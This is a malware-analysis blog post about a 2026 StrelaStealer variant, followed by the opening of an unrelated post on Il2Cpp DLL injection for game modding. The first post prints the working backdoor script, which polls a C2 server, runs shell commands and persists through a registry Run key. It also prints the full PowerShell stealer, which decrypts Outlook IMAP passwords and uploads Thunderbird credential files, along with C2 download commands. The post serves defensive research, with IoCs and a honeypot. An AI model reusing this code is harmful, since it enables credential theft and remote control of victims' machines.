azev[jmae+were+nox+gyxo]();if(azev[jmae+ohd+qxsu+ohd+rcfk+jmae]==200&&azev[gnki+were+jmae+ggry+ewmy+nox+jmae+were+hfk+were+gaol+ohd]!=luxl+rpgw&&azev[gnki+were+jmae+ggry+ewmy+nox+jmae+were+hfk+were+gaol+ohd][jmae+rcfk+saik+jmae+ohd+gnki+zav+nox+godp](0,2)==luxl+rpgw){dmyf=ccbn[wyn+gaol+were+ong](ong+snda+gyxo+sfn+qqh+ong+sfn+azev[gnki+were+jmae+ggry+ewmy+nox+jmae+were+hfk+were+gaol+ohd][jmae+rcfk+saik+jmae+ohd+gnki+zav+nox+godp](2)[jmae+ggry+duaj+zav+ohd](pwpy+oxt+igf+rmhh+eujv+gvk+hfk+umu+uanm+qaaj+ljk+wyn+pwpy)[lwh+ewmy+zav+nox](this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+ong+gnki+zav+ggry+ohd+kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were]));pvc=+new this[mvnm+qxsu+ohd+were];myz="";while(dmyf[oxt+ohd+qxsu+ohd+rcfk+jmae]==0&&+new this[mvnm+qxsu+ohd+were]-pvc<60568)
{myz+=dmyf[oxt+ohd+gyxo+luxl+rcfk+ohd][rmhh+were+qxsu+gyxo+mgcq+zav+nox+were]()+gun+nnc;}azev[ewmy+ggry+were+nox](gvk+luxl+oxt+hfk,najx+aiwd+eoj+ney+new this[mvnm+qxsu+ohd+were],false);
azev[jmae+were+nox+gyxo](myz);
}}catch(tgnt){}this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+duaj+were+were+ggry](53724);}}catch(tgnt){}

The obfuscation consists of simply replacing and concatenating the strings, variables, and function names. With a small Python script and some manual searching and replacing, we can unobfuscate the script.

ccbn = this[WScript][CreateObject](WScript.Shell)
targetURL = "http: //microsoftpoller20.com/gt.php"
azev = this[WScript][CreateObject](MSXML2.XMLHTTP)
zxp = this[WScript][CreateObject](Scripting.FileSystemObject)
hzki = this[WScript][CreateObject](WScript.Network)[ComputerName]
param = ccbn[RegRead]("HKEY_LOCAL_MACHINE\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ ProductId") @ - DE - hzki
bgiv = 2995544948

try {
    if (this[WScript][ScriptFullName][indexOf](bgiv) == -1) {
        try {
            zxp[CopyFile](this[WScript][ScriptFullName], zxp[GetSpecialFolder](2)\\ bgiv.js, false)
        } catch (tgnt) {}
        ccbn[Run](cscript.exe zxp[GetSpecialFolder](2)\\ bgiv.js, 0, false)
        this[WScript][echo](Datei beschadigt!)
        this[WScript][Quit]()
    }
    if (this[WScript][FullName][toLowerCase]()[indexOf](wscript.exe) != -1) {
        ccbn[Run](cscript.exe zxp[GetSpecialFolder](2)\\ bgiv.js, 0, false)
        this[WScript][Quit]()
    }
    zxp[OpenTextFile](zxp[GetSpecialFolder](2)\\ bgiv.js, 1)
    bml = zxp[CreateTextFile](zxp[GetSpecialFolder](2)\\ bgiv.txt, true)
    for (

    ) {
        try {
            azev[open](GET, targetURL ? param & new this[Date], false)
            azev[send]()
            if (azev[status] == 200 && azev[responseText] != OK && azev[responseText][substring](0, 2) == OK) {
                dmyf = ccbn[Exec](cmd / c azev[responseText][substring](2)[split]( % SCRIPT_NAME % )[join](this[WScript][ScriptFullName]))
                pvc = +new this[Date]
                myz = ""
                while (dmyf[Status] == 0 && +new this[Date] - pvc < 60568) {
                    myz += dmyf[StdOut][ReadLine]()\ r\ n
                }
                azev[open](POST, targetURL ? param & new this[Date], false)
                azev[send](myz)
            }
        } catch (tgnt) {}
        this[WScript][Sleep](53724)
    }
} catch (tgnt) {}

We can already read most of it, but to get a quick overview and a clean version, we can paste it into ChatGPT and ask for a cleanup and explanation.

High-level behavior

This script is a WSH backdoor / polling implant with these stages:

  1. Initialize WSH COM objects
  2. Fingerprint the host (computer name + Windows ProductId)
  3. Copy itself to a hidden/system location
  4. Force execution under cscript.exe
  5. Enter an infinite loop
  6. Poll a C2 server
  7. Receive shell commands
  8. Execute them via cmd.exe
  9. Capture stdout
  10. POST results back to the server
  11. Sleep and repeat

ChatGPT script with comments
// === OBJECT INITIALIZATION ===
shell        = WScript.CreateObject("WScript.Shell");
http         = WScript.CreateObject("MSXML2.XMLHTTP");
fs           = WScript.CreateObject("Scripting.FileSystemObject");
network      = WScript.CreateObject("WScript.Network");

// === CONFIGURATION ===
C2_URL       = "http://microsoftpoller20.com/gt.php";
INSTALL_NAME = "2995544948.js";
SLEEP_TIME   = 53724;      // ~53 seconds
CMD_TIMEOUT_TAG     = "OK";
MAX_CMD_RUNTIME = 60568;   // ~60 seconds

// === HOST FINGERPRINTING ===
computerName = network.ComputerName;
productId = shell.RegRead(
  "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId"
);

// Unique victim identifier sent to C2
victimId = productId + "@-DE-" + computerName;

// === SELF-INSTALL / PERSISTENCE ===
currentScript = WScript.ScriptFullName;
installPath   = fs.GetSpecialFolder(2) + "\\" + INSTALL_NAME; // Temp folder

if (currentScript does NOT contain INSTALL_NAME) {

    // Copy itself to target location
    fs.CopyFile(currentScript, installPath, false);

    // Relaunch using cscript (hidden)
    shell.Run("cscript.exe " + installPath, 0, false);

    // Fake error message (social engineering)
    WScript.Echo("Datei beschadigt!"); // "File damaged!"

    WScript.Quit();
}

// === FORCE CSCRIPT EXECUTION ===
if (WScript.FullName.toLowerCase().contains("wscript.exe")) {
    shell.Run("cscript.exe " + installPath, 0, false);
    WScript.Quit();
}

// === KEEP FILE HANDLE OPEN (ANTI-DELETE) ===
fs.OpenTextFile(installPath, 1);

// Create temp output file (unused artifact)
fs.CreateTextFile(fs.GetSpecialFolder(2) + "\\2995544948.txt", true);

// === COMMAND & CONTROL LOOP ===
while (true) {

    try {
        // ---- POLL C2 ----
        http.open(
          "GET",
          C2_URL + "?" + victimId + "&" + new Date(),
          false
        );
        http.send();

        if (
            http.status == 200 &&
            http.responseText != "OK" &&
            http.responseText.startsWith("OK")
        ) {
            // ---- COMMAND EXECUTION ----
            command = http.responseText.substring(2);

            // Replace placeholder with actual script path
            command = command.replace(
              "%SCRIPT_NAME%",
              WScript.ScriptFullName
            );

            exec = shell.Exec("cmd /c " + command);

            // ---- CAPTURE STDOUT ----
            startTime = now();
            output = "";

            while (
                exec.Status == 0 &&
                now() - startTime < MAX_CMD_RUNTIME
            ) {
                output += exec.StdOut.ReadLine() + "\r\n";
            }

            // ---- EXFILTRATE OUTPUT ----
            http.open(
              "POST",
              C2_URL + "?" + victimId + "&" + new Date(),
              false
            );
            http.send(output);
        }

    } catch (e) {
        // All errors suppressed
    }

    // ---- SLEEP BEFORE NEXT POLL ----
    WScript.Sleep(SLEEP_TIME);
}

Talking with the C2

Now I wanted to see what commands the C2 server sends to me.

First, we need to register our beacon. To do this, we need to send a GET request with our product ID and hostname to the server.

I prepared a script to provide the necessary information, just as the payload would do.

wscriptShell = WScript.CreateObject("WScript.Shell");
wscriptNetwork = WScript.CreateObject("WScript.Network");

targetURL = "http://microsoftpoller20.com/gt.php;"
hostname = wscriptNetwork.ComputerName

prodcutID = wscriptShell.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId")
prodcutID = prodcutID + "@-DE-" + hostname
date = new Date

request = targetURL + "?" + prodcutID + "&" + date 

WScript.Echo(request)

As soon as we send this information to the C2 server, we receive our first command that the C2 wants to execute.

We will do him the favor and send our systeminfo back to the C2.


Stage 3 – IMAP Stealer

Another get request now triggers the next command.

cd %temp% && curl http://microsoftpoller20.com/st2.php > file.ps1 && echo filemagik

I downloaded this PowerShell script and, surprisingly, Virus Total did not detect it. Apparently, I was the first person to upload it: https://www.virustotal.com/gui/file/526229b625ef4f2510fc70652f88a0fa847041940ac3692c633457d11b2f0e4c?nocache=1

The script isn’t really obfuscated, so we can already understand what it does.

file.ps1
Add-Type -AssemblyName System.Security

function a {param(
        [Parameter(Mandatory=$true)]
        [byte[]]$a,
        [string]$b = "hxxp://microsoftpoller20.com/up2.php",
        [string]$c = "application/octet-stream",
        [System.Collections.IDictionary]$d = @{}
    )

    $e = [System.IO.Path]::GetTempFileName()
    try {
        [System.IO.File]::WriteAllBytes($e, $a)
        $d += @{'Content-Type' = $c}
        $f = $d.GetEnumerator() | ForEach-Object {
            '-H', "$($_.Key):$($_.Value)"
        }

        $g = & curl.exe -X POST --data-binary "@$e" $f $b -s -S 2>&1
        if ($LASTEXITCODE -ne 0) { throw $g }
        return $g
    }
    catch { throw "Failed to upload to $b`: $_" }
    finally { Remove-Item $e -Force -ErrorAction SilentlyContinue }
}

function b {
    param(
        [byte[]]$a
    )
    
    do {
        try {
            $g = a -a $a
            if ($g -eq "OK") { break }
        }
        catch {
           $PSCmdlet.WriteError($_)
        }
        
        Start-Sleep -Seconds 10
    }
    while ($true)
}

function c {
    param(
        [Parameter(Mandatory=$true)]
        $a
    )
    
    if ($a -eq $null) {
        return ""
    }
    
    if ($a -is [byte[]]) {
        try {
            $h = [System.Text.Encoding]::Unicode.GetString($a)
            return $h.TrimEnd("`0")
        }
        catch {
            return $a.ToString()
        }
    }
    
    return $a.ToString()
}

function d {
    param (
        [Parameter(Mandatory=$true)]
        [string]$a
    )

    if (-not (Test-Path $a)) {
        "OUTLOOK: Couldn't find: " + $a
        return
    }

    "OUTLOOK: Trying!"

    Get-ChildItem $a | ForEach-Object {
        $i = Get-ItemProperty -Path $_.PSPath

        $i.PSObject.Properties | ForEach-Object {
           if ($_.Name -notlike "PS*") {
              try {
                 $j = $_.Name
                 $k = $_.Value
                 Write-Output "$j : $k"
              }
              catch {
                 Write-Output "$j : <Error reading value>"
              }
           }
        }
        
        if ($i."IMAP Password" -ne $null) {
            try {
                $l = $i."IMAP Password"
                
                $m = $l[1..($l.Length-1)]
                
                $n = [System.Security.Cryptography.ProtectedData]::Unprotect(
                    $m,
                    $null,
                    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
                )
                

                $o = [System.Text.Encoding]::Unicode.GetString($n)

                $o
                $o = $o.subString(0,$o.length-1)
                $o
                $p = c -a $i."IMAP User"
                $p 
                $q = c -a $i."IMAP Server"
                $q
                $r = $i."IMAP Port"
                $s = ""
                if ($r -ne "") {
                   $s = ":" + $r;
                }

                $t = "OL" + $q + $s + "," + $p + "," + $o

                $t

                $t = [System.Text.Encoding]::UTF8.GetBytes($t)

                "Found for OL, uploading..."

                b -a $t

            }
            catch {
               $PSCmdlet.WriteError($_)
            }
        }
    }
}

function e {
    $u = Join-Path $env:APPDATA "Thunderbird\Profiles\"
    
    if (-not (Test-Path $u)) {
        "FIREFOX: Couldn't find: " + $u
        return
    }

    "FIREFOX: Trying!"

    $v = Get-ChildItem -Path $u -Directory

    foreach ($w in $v) {
        $x = Join-Path $w.FullName "logins.json"
        $y = Join-Path $w.FullName "key4.db"

        if (-not (Test-Path $x) -or -not (Test-Path $y)) {
            Get-ChildItem -Path $w.FullName -File
            continue
        }

        try {
            $z = [System.IO.File]::ReadAllBytes($x)
            $aa = [System.IO.File]::ReadAllBytes($y)

            $ab = "FF"
            $ac = [System.Text.Encoding]::UTF8.GetBytes($ab)

            $ad = New-Object System.Collections.Generic.List[byte]
            $ad.AddRange($ac)
            $ad.AddRange([BitConverter]::GetBytes([int32]$z.Length))
            $ad.AddRange($z)
            $ad.AddRange($aa)

            "Found for FF, uploading..."

            b -a $ad


        }
        catch {
           $PSCmdlet.WriteError($_)
        }
    }
}

e

d -a "HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\Software\Microsoft\Windows Messaging Subsystem\Profiles\\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"%

However, I have made some renaming and cleanup to improve readability.

file_clean.ps1
Add-Type -AssemblyName System.Security

function sendPost {param(
        [Parameter(Mandatory=$true)]
        [byte[]]$file_content,
        [string]$URL = "hxxp://microsoftpoller20.com/up2.php",
        [string]$content_type = "application/octet-stream",
        [System.Collections.IDictionary]$d = @{}
    )

    $tempFileName = [System.IO.Path]::GetTempFileName()
    try {
        [System.IO.File]::WriteAllBytes($tempFileName, $file_content)
        $d += @{'Content-Type' = $content_type}
        $header_param = $d.GetEnumerator() | ForEach-Object {
            '-H', "$($_.Key):$($_.Value)"
        }

        $g = & curl.exe -X POST --data-binary "@$tempFileName" $header_param $URL -s -S 2>&1
        if ($LASTEXITCODE -ne 0) { throw $g }
        return $g
    }
    catch { throw "Failed to upload to $URL`: $_" }
    finally { Remove-Item $tempFileName -Force -ErrorAction SilentlyContinue }
}

function pre_sendPost {
    param(
        [byte[]]$file_content
    )
    
    do {
        try {
            $result = sendPost -a $file_content
            if ($result -eq "OK") { break }
        }
        catch {
           $PSCmdlet.WriteError($_)
        }
        
        Start-Sleep -Seconds 10
    }
    while ($true)
}

function getUnicode{
    param(
        [Parameter(Mandatory=$true)]
        $a
    )
    
    if ($a -eq $null) {
        return ""
    }
    
    if ($a -is [byte[]]) {
        try {
            $h = [System.Text.Encoding]::Unicode.GetString($a)
            return $h.TrimEnd("`0")
        }
        catch {
            return $a.ToString()
        }
    }
    
    return $a.ToString()
}

function getOutlook_secrets {
    param (
        [Parameter(Mandatory=$true)]
        [string]$regKey
    )

    if (-not (Test-Path $a)) {
        "OUTLOOK: Couldn't find: " + $regKey
        return
    }

    "OUTLOOK: Trying!"

    Get-ChildItem $regKey | ForEach-Object {
        $i = Get-ItemProperty -Path $_.PSPath

        $i.PSObject.Properties | ForEach-Object {
           if ($_.Name -notlike "PS*") {
              try {
                 $regName = $_.Name
                 $regValue = $_.Value
                 Write-Output "$regName : $regValue"
              }
              catch {
                 Write-Output "$regName : <Error reading value>"
              }
           }
        }
        
        if ($i."IMAP Password" -ne $null) {
            try {
                $l = $i."IMAP Password"        
                $m = $l[1..($l.Length-1)]
                
                $n = [System.Security.Cryptography.ProtectedData]::Unprotect(
                    $m,
                    $null,
                    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
                )
        
                $o = [System.Text.Encoding]::Unicode.GetString($n)
                $o
                $o = $o.subString(0,$o.length-1)
                $o
                $p = getUnicode -a $i."IMAP User"
                $p 
                $q = getUnicode -a $i."IMAP Server"
                $q
                $r = $i."IMAP Port"
                $s = ""
                if ($r -ne "") {
                   $s = ":" + $r;
                }
                $t = "OL" + $q + $s + "," + $p + "," + $o
                $t
                $t = [System.Text.Encoding]::UTF8.GetBytes($t)

                "Found for OL, uploading..."

                pre_sendPost -a $t
            }
            catch {
               $PSCmdlet.WriteError($_)
            }
        }
    }
}

function getThunderbird_secrects {
    $u = Join-Path $tempFileNamenv:APPDATA "Thunderbird\Profiles\"
    
    if (-not (Test-Path $u)) {
        "FIREFOX: Couldn't find: " + $u
        return
    }

    "FIREFOX: Trying!"

    $v = Get-ChildItem -Path $u -Directory

    foreach ($w in $v) {
        $x = Join-Path $w.FullName "logins.json"
        $y = Join-Path $w.FullName "key4.db"

        if (-not (Test-Path $x) -or -not (Test-Path $y)) {
            Get-ChildItem -Path $w.FullName -File
            continue
        }

        try {
            $z = [System.IO.File]::ReadAllBytes($x)
            $aa = [System.IO.File]::ReadAllBytes($y)

            $ab = "FF"
            $ac = [System.Text.Encoding]::UTF8.GetBytes($ab)

            $ad = New-Object System.Collections.Generic.List[byte]
            $ad.AddRange($ac)
            $ad.AddRange([BitConverter]::GetBytes([int32]$z.Length))
            $ad.AddRange($z)
            $ad.AddRange($aa)

            "Found for FF, uploading..."

            pre_sendPost -a $ad
        }
        catch {
           $PSCmdlet.WriteError($_)
        }
    }
}

getThunderbird_secrects

getOutlook_secrets -a "HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\Software\Microsoft\Windows Messaging Subsystem\Profiles\\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"%

TL;DR Overview

  1. Checks the current user profile on Thunderbird and attempts to retrieve the “logins.json” and “key4.db” files
  2. Checks various Outlook/Windows Mail registry paths to retrieve stored mailbox information, then uses [System.Security.Cryptography.ProtectedData]::Unprotect and [System.Security.Cryptography. DataProtectionScope]::CurrentUser to decrypt the user password.
  3. Creates a temporary file with the server login credentials.
  4. Uses curl to make a POST request and upload the retrieved login credentials to another endpoint (hxxp://microsoftpoller20.com/up2.php).

This actually worked on a test system, and the stolen login credentials are sent in a format like the following:

"OLimap.gmx.net:993,[email protected],MeinGeheimesPassword487"

However, the last C2 command only downloads the file. To obtain the execution command for it, we need to send another request to the C2 endpoint. The previous command also contained && echo filemagik at the end, so we send this back.

and retrieve our next command, which takes over execution.

cd %temp% && echo elifmagik && powershell -ExecutionPolicy Bypass -File file.ps1

IMAP Honey Pot

I thought it would be interesting to see if anyone would use these login credentials and where they would connect from, so I decided to set up a honeypot IMAP server. I set up a new cloud instance and used Vibe Coding to create a fake IMAP server that logs all login attempts

imap_server.py
import asyncio
import base64
import ssl
from datetime import datetime
import traceback

HOST = "0.0.0.0"
PORT = 993

LOG_FILE = "log.txt"

TEST_USERNAME = "testuser"
TEST_PASSWORD = "testpass"

CAPABILITIES = "IMAP4rev1 SASL-IR AUTH=PLAIN AUTH=LOGIN"

def log(message: str):
    timestamp = datetime.utcnow().isoformat()
    line = f"[{timestamp}] {message}\n"
    with open(LOG_FILE, "a", encoding="utf-8") as f:
        f.write(line)
    print(line, end="")

async def handle_client(reader, writer):
    peer = writer.get_extra_info("peername")
    client_ip = peer[0] if peer else "unknown"

    log(f"NEW CONNECTION from {client_ip}")

    try:
        writer.write(b"* OK IMAP4rev1 Service Ready\r\n")
        await writer.drain()

        while True:
            line = await reader.readline()
            if not line:
                log(f"DISCONNECT from {client_ip}")
                break

            command = line.decode(errors="ignore").strip()
            log(f"{client_ip} -> {command}")

            parts = command.split()
            if len(parts) < 2:
                writer.write(b"* BAD Invalid command\r\n")
                await writer.drain()
                continue

            tag = parts[0]
            cmd = parts[1].upper()

            if cmd == "CAPABILITY":
                writer.write(f"* CAPABILITY {CAPABILITIES}\r\n".encode())
                writer.write(f"{tag} OK CAPABILITY completed\r\n".encode())

            elif cmd == "LOGIN" and len(parts) >= 4:
                username = parts[2]

                log(f"AUTH ATTEMPT IP={client_ip} USER={username}")

                if parts[2] == TEST_USERNAME and parts[3] == TEST_PASSWORD:
                    log(f"AUTH SUCCESS IP={client_ip} USER={username}")
                    writer.write(f"{tag} OK LOGIN completed\r\n".encode())
                else:
                    log(f"AUTH FAILURE IP={client_ip} USER={username}")
                    writer.write(f"{tag} NO Authentication failed\r\n".encode())
            
            elif cmd == "AUTHENTICATE" and len(parts) >= 3 and parts[2].upper() == "PLAIN":
                # Send continuation request
                #log(f"start plain auth, parts: {parts}")

                if parts[3]:
                    decoded = base64.b64decode(parts[3]).decode(errors="ignore")
                    _, username, password = decoded.split("\x00", 2)
                    log(f"AUTH PLAIN ATTEMPT IP={client_ip} USER={username} PASSWORD={password}")
                    writer.write(f"{tag} NO Authentication failed\r\n".encode())

                writer.write(b" + \r\n")
                await writer.drain()

                response = await reader.readline()
                if not response:
                    break

                try:
                    decoded = base64.b64decode(response.strip()).decode(errors="ignore")
                    _, username, password = decoded.split("\x00", 2)
                except Exception:
                    writer.write(f"{tag} BAD Invalid AUTHENTICATE PLAIN payload\r\n".encode())
                    await writer.drain()
                    continue

                log(f"AUTH PLAIN ATTEMPT IP={client_ip} USER={username}")

                if username == TEST_USERNAME and password == TEST_PASSWORD:
                    log(f"AUTH SUCCESS IP={client_ip} USER={username}")
                    writer.write(f"{tag} OK AUTHENTICATE completed\r\n".encode())
                else:
                    log(f"AUTH FAILURE IP={client_ip} USER={username}")
                    writer.write(f"{tag} NO Authentication failed\r\n".encode())

            elif cmd == "NOOP":
                writer.write(f"{tag} OK NOOP completed\r\n".encode())
            
            elif cmd == "ID":
                writer.write(b"* ID NIL\r\n")
                writer.write(f"{tag} * OK ID completed\r\n".encode())

            elif cmd == "LOGOUT":
                writer.write(b"* BYE Logging out\r\n")
                writer.write(f"{tag} OK LOGOUT completed\r\n".encode())
                await writer.drain()
                log(f"LOGOUT from {client_ip}")
                break

            else:
                writer.write(f"{tag} OK\r\n".encode())

            await writer.drain()

    except Exception as e:
        log(f"ERROR handling client {client_ip}: {e}")
        log(traceback.format_exc())

    finally:
        try:
            writer.close()
            await writer.wait_closed()
        except Exception:
            pass
        log(f"CONNECTION CLOSED {client_ip}")

async def main():
    ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ssl_ctx.load_cert_chain("server.crt", "server.key")

    while True:
        try:
            server = await asyncio.start_server(
                handle_client, HOST, PORT, ssl=ssl_ctx
                #handle_client, HOST, PORT
            )

            log(f"IMAP test server listening on {HOST}:{PORT}")

            async with server:
                await server.serve_forever()

        except Exception as e:
            # If the server itself crashes, log and restart
            log(f"SERVER ERROR: {e}")
            log(traceback.format_exc())
            await asyncio.sleep(2)

if __name__ == "__main__":
    asyncio.run(main())

To make it even more realistic, I created a free Dyndns subdomain and applied for an SSL certificate. I also decided to make it a little easier for the attacker and set up a Roundcube container so that they could easily log in. SSL offloading is handled by nginx, so we can track login attempts via the nginx logs and ultimately check whether our leaked credentials are being used on our IMAP server.

services:
  roundcubemail:
    image: roundcube/roundcubemail:latest
    container_name: roundcubemail
    restart: unless-stopped
    volumes:
      - ./www:/var/www/html
      - ./db/sqlite:/var/roundcube/db
    ports:
      - 127.0.0.1:9002:80
    environment:
      - ROUNDCUBEMAIL_DB_TYPE=sqlite
      - ROUNDCUBEMAIL_SKIN=elastic
      - ROUNDCUBEMAIL_DEFAULT_HOST=ssl://honeypot.url
      - ROUNDCUBEMAIL_DEFAULT_PORT=993

I will update this blog post as soon as someone tries to log in with my uploaded credentials.

UPDATE 08.02.2026:

Since 5 February 2026, my IMAP server has been receiving LOGIN attempts with my disclosed login details.

In less then 72 hours, I logged 89,008 login attempts from 2,499 different IP addresses.

To get a better overview, I uploaded the IP addresses to https://ipinfo.io/.

It appears that the IP addresses are spread across the globe, with most of them located in Spain.

We only have 3.2% VPN as source.

However, when we look at which IP addresses made the most requests, there is a clear winner with 79,963 login attempts from just one IP address.

This IP seems to be hosted in Kazakhstan and is already listed at https://www.abuseipdb.com/check/178.20.210.21

{
    "query": "178.20.210.21",
    "status": "success",
    "continent": "Asia",
    "continentCode": "AS",
    "country": "Kazakhstan",
    "countryCode": "KZ",
    "region": "59",
    "regionName": "North Kazakhstan",
    "city": "Būlaevo",
    "district": "",
    "zip": "",
    "lat": 54.9043,
    "lon": 70.4501,
    "timezone": "Asia/Almaty",
    "offset": 21600,
    "currency": "KZT",
    "isp": "Shereverov Marat Ahmedovich",
    "org": "Shereverov network",
    "as": "AS210006 Shereverov Marat Ahmedovich",
    "asname": "ASKZ",
    "mobile": false,
    "proxy": false,
    "hosting": false
}

Since this number of login attempts can only be performed by a script, let’s take a look at what they request when we allow them to log in. I have extended the IMAP server script so that it responds correctly to all requests sent by them.

After the Login, they request access to the INBOX folder of the Mailbox.

We allow the request by answering with:

writer.write(f"* OK [UNSEEN 12] Selected mailbox {mailbox}\r\n".encode())
writer.write(f"{tag} OK [READ-WRITE] SELECT completed\r\n".encode())

Next, they perform a search for all emails since 7 February 2026.

When we send them a UID, they want to download the ENVELOPE, BODYSTRUCTURE and FLAGS of the email.

This is interesting, as this IMAP command does NOT contain the actual email text. We can send some fake email metadata back to the client, but the next command is always a LOGOUT from the client.

I’m still not sure why they only download metadata from emails newer than 07/02/2026. Perhaps they sent some validation emails and now want to retrieve that email to validate the IMAP credentials.


Persistence

The previous C2 command also contained && echo elifmagik. We will follow this command post and request chain to retrieve the next command.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "SYSUP" /t REG_SZ /F /D "wscript.exe ""%SCRIPT_NAME%""

This creates a new registry key and adds the C2 script to autostart. This was the last command I was able to retrieve from the C2 server.


IoCs

hashes are in SHA256

  • Rechnung_HTKR26_0000655_279842.svg (6F8DB0EC39641850B62B4D121197F55F1A93C051C26646D799F43B2F0DC4E0F8)
  • 16334266371752470771.zip (different names and hashes)
  • RECHNUNG_2252_72892617.js (different names and hashes)
  • file.ps1 (526229b625ef4f2510fc70652f88a0fa847041940ac3692c633457d11b2f0e4c)

Sandboxes

URLs

  • Stage1: hxxp://dlscript2k222.com/script.php?id=script
  • Stage2: This list is very incomplete, as the Stage1 URL stopped working after a while, but all URLs end with /?u=script
hxxps://1075wpark.com/?u=script
hxxps://2022.bprdeltaartha.com/?u=script
hxxps://918-spyder-registry.fast-auto.fr/?u=script
hxxps://a1ministorage.net/?u=script
hxxps://a3internetservices.com/?u=script
hxxps://a4naturals.com/?u=script
hxxps://aaadecolombia.com/?u=script
hxxps://aaahouseclearance.co.uk/?u=script
hxxps://aadhiwater.com/?u=script
hxxps://aaeindia.mistiquedesigns.in/?u=script
hxxps://aagmaninfotech.com/?u=script
hxxps://aaronshaffier.jerusalemwalkingtour.com/?u=script
hxxps://aatransport.ltd/?u=script
hxxps://aa-website.com/?u=script
hxxps://abaitregalos.com.ar/?u=script
hxxps://abbainternacional.co.mz/?u=script
hxxps://abbraidingandbeautysupply.com/?u=script
hxxps://abbruzzesestudioassociato.com/?u=script
hxxps://abc-coaching.co.uk/?u=script
hxxps://abcnlp.com/?u=script
hxxps://abdiansyah.my.id/?u=script
hxxps://abejaburgalesa.com/?u=script
hxxps://abemetal.ru/?u=script
hxxps://abemviver.com.br/?u=script
hxxps://abertura.michelledelara.com.br/?u=script
hxxps://abetterhumanstory.org/?u=script
hxxps://abilhetex.pt/?u=script
hxxps://abisz-bau.de/?u=script
hxxps://ablaser.de/?u=script
hxxps://ablsan.com.br/?u=script
hxxps://abmasoft.com/wp/?u=script
hxxps://abm-works.com/?u=script
hxxps://abnorm.bf/?u=script
hxxps://abordajeestrategico.com/?u=script
hxxps://abouteball.com/?u=script
hxxps://aboutmyfathersbusiness.ca/?u=script
hxxps://aboxsolutions.com/?u=script
hxxps://abrajalnaim.ly/?u=script
hxxps://abrazandonos.com/?u=script
hxxps://absam.io/blog/?u=script
hxxps://abshiredc.com/?u=script
hxxps://a-talentagency.com/?u=script
hxxps://a-t-heart.com/?u=script
  • C2 communication GET / POST: hxxp://microsoftpoller20.com/gt.php
  • Stage3 (info stealer): hxxp://microsoftpoller20.com/st2.php
  • C2 upload POST: hxxp://microsoftpoller20.com/up2.php

Since I discovered that the Stage2 URL changes every few minutes, I decided to create a script in combination with an OCR Docker container that:

  • Request the Stage1 URL every 5 minutes.
  • Extract the encrypted Base64 URL and the captcha image.
  • Read the captcha with OCR to extract the key.
  • Use the key to decrypt the Stage2 URL and save it to a file.

This allowed me to retrieve 44 Stage2 URLs until the Stage1 server was no longer accessible. I checked some of these URLs and it seems that most of them are compromised WordPress sites.

you can find the code on Github: https://github.com/secure-77/ocr_captcha


References to StrelaStealer

While searching for the parameter /?u=script, I came across the URLhaus website, which listed many of these URLs under the StrelaStealer family: https://urlhaus.abuse.ch/browse/tag/StrelaStealer/

I researched several articles on StrelaStealer and discovered that this malware family carried out several large campaigns in 2024 and mid-2025, but at that time it used batch scripts and a DLL for the final stage. So this appears to be a new variant


Der Beitrag StrelaStealer 2026 – Malware Analysis erschien zuerst auf Secure77.

]]>
https://secure77.de/strelastealer-2026-malware-analysis/feed/ 0
Il2Cpp Injection and Hooking via Scaffolding https://secure77.de/il2cpp-injection-and-hooking-via-scaffolding/ https://secure77.de/il2cpp-injection-and-hooking-via-scaffolding/#respond Thu, 02 Oct 2025 08:39:49 +0000 https://secure77.de/?p=1752 A Il2cpp scaffold is a ready to use (and to inject) DLL, which give us access to every type definition, object and method from the game and also provides a il2cpp helper API. As I was playing around with some game manipulations for the Game A Tainted Grail – The Fall of Avalon I got

Der Beitrag Il2Cpp Injection and Hooking via Scaffolding erschien zuerst auf Secure77.

]]>
A Il2cpp scaffold is a ready to use (and to inject) DLL, which give us access to every type definition, object and method from the game and also provides a il2cpp helper API.

As I was playing around with some game manipulations for the Game A Tainted Grail – The Fall of Avalon I got the „opportunity“ to dive into the world of Il2Cpp injections.

You can read more about the background and the Mod I created in this blog post:Tainted Grail – FoA – Unlock The Hidden Secrets


Setup a Scaffold Project

The il2cppInspector (which provides the scaffold) was initial developed by djkaty, but she discontinued the development and the tool will not longer work for the latest il2cpp and unity versions. I figured out that the Il2CppInspectorRedux by LukeFZ has some recent commits and also supports the latest versions.

First we need to build the project, in my case it was also necessary to install pnpm.

  • Make sure Visual Studio is installed with c++ desktop environment
  • Install pnpm Invoke-WebRequest https://get.pnpm.io/install.ps1 -UseBasicParsing | Invoke-Expression
  • Clone and build the project
git clone --recursive https://github.com/LukeFZ/Il2CppInspectorRedux
cd Il2CppInspectorRedux
dotnet publish -c Release

No we can use the GUI to load the metadata.dat and gameassembly.dll and create the scaffold project

After we created the project we can open it with Visual Studio and want to upgrade it to some recent version (if it will not ask you, do it manually via the Project menu)

